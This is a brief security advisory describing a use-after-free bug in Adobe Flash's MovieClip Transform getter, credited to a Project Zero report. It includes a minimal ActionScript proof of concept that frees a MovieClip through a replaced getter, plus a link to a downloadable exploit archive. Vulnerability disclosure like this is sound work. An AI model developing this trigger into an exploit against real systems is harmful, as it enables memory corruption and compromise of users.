Adobe Flash – MovieClip Transform Getter Use-After-Free
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844 There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows: var mc = this.createEmptyMovieClip( "mc", 1); var tf = flash.geom.Transform; var g = flash.geom; g.addProperty("Transform", func, func); mc.f = ASnative(900, 419); mc.f(); function func(){ mc.removeMovieClip(); // Fix heap } Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip |